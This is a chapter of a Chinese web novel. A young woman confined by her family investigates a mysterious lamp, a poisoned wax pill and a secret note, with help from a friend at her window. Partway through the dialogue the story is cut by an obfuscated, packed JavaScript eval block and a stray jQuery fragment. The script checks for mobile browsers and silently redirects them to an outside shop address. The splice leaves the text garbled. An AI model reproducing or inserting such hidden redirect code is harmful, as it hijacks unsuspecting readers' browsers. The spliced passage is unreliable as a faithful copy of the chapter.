第四盏灯亮起后,顾栖灯没有被允许再靠近祠堂。
顾夫人几乎是一路拉着她回了东院。
她的手很凉,力气却大得惊人。顾栖灯被攥得手腕发疼,却没有挣开。她只是低头看着两人交握的手,发现顾夫人掌心里全是冷汗。
顾夫人害怕。
不是害怕顾栖灯。
是害怕那盏灯。
“母亲。”踏进东院后,顾栖灯终于开口,“第四盏灯到底是什么?”
顾夫人没有回答。
她先让阿芜关上门窗,又亲自检查了窗闩。东院的每一扇窗都被扣紧后,她仍不放心,回头看了一眼院门。
院门外站着顾承晏的人。
不是平日里轮值的守卫,而是大哥身边最信任的两名护卫。
顾栖灯的心一点点沉下去。
“这是大哥的意思?”
顾夫人背对着她。
“今夜府里乱,你别出去。”
“因为第四盏灯亮了?”
“只是祭器出了岔子。”
“那长老为什么说我回来?”
顾夫人的肩膀僵了一下。
顾栖灯看着她。
“我一直在顾家。”她说,“我没有离开过。若他说我回来了,那我究竟是从哪里回来?”
屋内安静得能听见灯芯燃烧的细响。
顾夫人终于转过身。
她的脸色很白,眼中却有一种顾栖灯从未见过的疲惫。
“阿栖。”她轻声说,“有些事不知道,比知道好。”
这句话落下时,顾栖灯心里最后一点不安反而定了下来。
她最怕的不是顾夫人说谎。
她怕顾夫人像从前那样笑着摸她的头,说她想多了。
如今顾夫人不肯否认,便说明她猜对了。
第四盏灯与她有关。
顾家里确实藏着她不知道的事。
“那我想知道。”顾栖灯说。
顾夫人望着她。
“为什么?”
“因为有人拿我不知道的事,替我做决定。”顾栖灯顿了顿,“我不喜欢。”
顾夫人眼眶忽然红了。
可她没有回答。
门外传来脚步声。
顾夫人像从梦里惊醒,匆匆收回目光:“今夜你先休息。明日……明日我再同你说。”
她说完便往外走。
顾栖灯看着她的背影,忽然问:“母亲,你是不是早就知道我手腕上这个印记是什么?”
顾夫人停在门前。
没有回头。
“别碰祠堂。”
她只留下这一句,便快步离开了。
门被从外面关上。
紧接着,顾栖灯听见锁链扣上的声音。
她站在原地,许久没有动。
桌上摆着一盏普通油灯,火光暖黄,照得屋里一如往常。她的书还摊在榻边,窗前那盆兰草也仍是青的,连阿芜下午替她挂上的风铃都在廊下轻轻摇晃。
可顾栖灯忽然觉得,这间住了十六年的屋子陌生极了。
她走到窗边。
窗被扣得很紧,外面守卫的影子投在窗纸上。顾栖灯伸手摸了摸窗闩,确认自己一时无法出去,才回到桌边坐下。
她没有哭。
也没有立刻去推门。
顾家既然锁了东院,便说明他们不希望她知道什么。越是如此,她越不能让所有人看出自己已经起了疑心。
顾栖灯深吸一口气,从袖中取出槐树下捡到的蜡丸。
暗红色蜡丸躺在掌心,表面沾着雨水和黑色灯油。她先用细针挑开最外面一层,里面露出一点细小的粉末。
粉末不是蜡。
她捻了一点放到鼻下,闻到一股极淡的苦香。
赤砂。
顾栖灯认得这种味道。
二哥的药庐里有一整面药柜,她从小跟着顾长舟认草药、晒药材。赤砂不是常用药,药性烈,少量能止血,过量却会伤人心脉。顾长舟从不许她碰,只说这东西颜色太漂亮,容易被小孩子误当成糖。
可第四盏灯下的蜡丸里,为什么会有赤砂?
顾栖灯想起二哥今日经过她时塞给她的糖。
糖纸上沾着一点极浅的红色。
当时她没在意。
现在想来,那颜色和蜡丸里的粉末一模一样。
她还没来得及细想,窗外忽然传来两短一长的轻响。
笃。笃。笃——
顾栖灯抬头。
那是她和沈见微约好的暗号。
她们年少时常偷偷翻墙出去,顾栖灯不擅爬墙,沈见微便教她用这样的敲击声报平安:两短一长,表示“我在”;三短一长,表示“有人盯着”。
顾栖灯走到窗边,没有立刻开窗。
她先从桌上拿起茶盏,故意摔在地上。
瓷器碎裂声一响,门外守卫果然问:“四小姐,怎么了?”
顾栖灯捂着手,声音发颤:“不小心烫到了。”
“可要请二公子?”
“不用。”她顿了顿,“我想一个人静静。”
门外护卫迟疑片刻,没再进来。
顾栖灯等了几息,才用窗边小刀轻轻挑开一道窗缝。
沈见微半张脸从窗外探出来,发髻上沾着湿叶,眼神却比平日严肃。
“你没事?”
“暂时没事。”
“你们顾家祠堂方才像炸了锅。我在外头看见好几拨人往后院去,你大哥还调了护卫守东院。”
顾栖灯没有绕弯子。
“第四盏灯亮了。”
沈见微一愣。
“那盏从来不亮的?”
“嗯。”
顾栖灯将今晚发生的事说了一遍。
她没有遗漏长老的表情、顾夫人不肯回答的话,也没有遗漏二哥糖纸上的红痕。沈见微听完,脸色越来越难看。
“你怀疑二哥?”
“我不知道。”顾栖灯低头看着蜡丸,“可他一定知道赤砂是什么。”
“你大哥呢?”
“他知道得更多。”
“你母亲呢?”
顾栖灯沉默片刻。
“她怕。”
沈见微轻轻叹了口气。
“阿栖,你现在打算怎么办?”
顾栖灯看向窗外。
雨已经停了,东院上方却仍压着浓厚的夜色。顾宅越安静,越像有什么东西正藏在看不见的地方。
“先不让他们知道我发现了什么。”
“然后?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968826|214618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“然后找到是谁把赤砂放在第四盏灯下。”
沈见微挑眉:“你有线索?”
顾栖灯摊开掌心。
“这个蜡丸是有人故意留下的。它不是灯油,也不像意外掉的东西。赤砂一遇火会变色,第四盏灯亮之前,它大概就已经被人做了手脚。”
“可为什么要等你去祠堂?”
“因为那盏灯需要我靠近才会亮。”
顾栖灯说完,自己也怔了一下。
她不知道这是怎么得出的结论。
可她记得自己手腕发烫的时刻,记得灯亮起前那一瞬,胎记像有什么东西在里面回应。
沈见微神色复杂地看着她。
“你身上到底藏了什么?”
“我不知道。”
顾栖灯将蜡丸包好,重新塞进袖中。
“但我会知道。”
窗外忽然传来脚步声。
沈见微立刻缩回去。
“我明日去药庐查赤砂的出入。”她压低声音,“你别喝任何人送来的药,也别碰你不知道的东西。”
顾栖灯点头。
“你自己小心。”
“你也是。”
沈见微翻出窗外,很快消失在院墙另一侧。
顾栖灯将窗缝重新关好,又把碎瓷片一片片收进盒子里。她做完这些,才听见院门外又有人来了。
这次是大哥身边的管事。
“小姐,家主命小人送东西来。”
阿芜开门,几个侍女依次进屋。一个端着热粥,一个捧着新衣,还有一个双手捧着一枝白梅。
顾栖灯看见那枝梅花,心里微微一动。
大哥每年祭祀后都会送她一枝祠堂后的白梅。
从前她总觉得那是补偿,也觉得有了白梅,自己不能进祠堂便没那么难过。
今日再看,才觉得这枝花像一场太熟练的安抚。
“家主说,今夜委屈四小姐了。”管事垂首道,“府中事多,他明日再来见您。”
顾栖灯接过白梅。
“东院的门何时开?”
管事迟疑了一下。
“家主说,近日城中不太平。为了小姐安危,暂时还是不要出门为好。”
“城中不太平,还是顾宅不太平?”
管事一愣。
顾栖灯却已经低下头,像只是随口一问。
“我知道了。”
侍女们退下后,她将白梅放在桌上,没有马上插进花瓶。
她先拿来小剪,顺着花枝一点点剖开。
白梅枝很细,断口新鲜,里面却缠着一根不该出现的红线。
顾栖灯心口一紧。
红线下压着一张折得极小的纸条。
她展开纸。
纸上只有七个字:
子时,后门,独自来。
没有落款。
纸背却印着半盏焦黑的灯。
顾栖灯看着那道印记,想起老妇人尚未出现的后门,想起赤砂蜡丸,想起顾夫人那句“别碰祠堂”。
她本该将纸条烧掉。
也本该告诉大哥,告诉二哥,告诉所有看似愿意保护她的人。
可她忽然想知道——
究竟是谁会比顾家更早一步,找上她。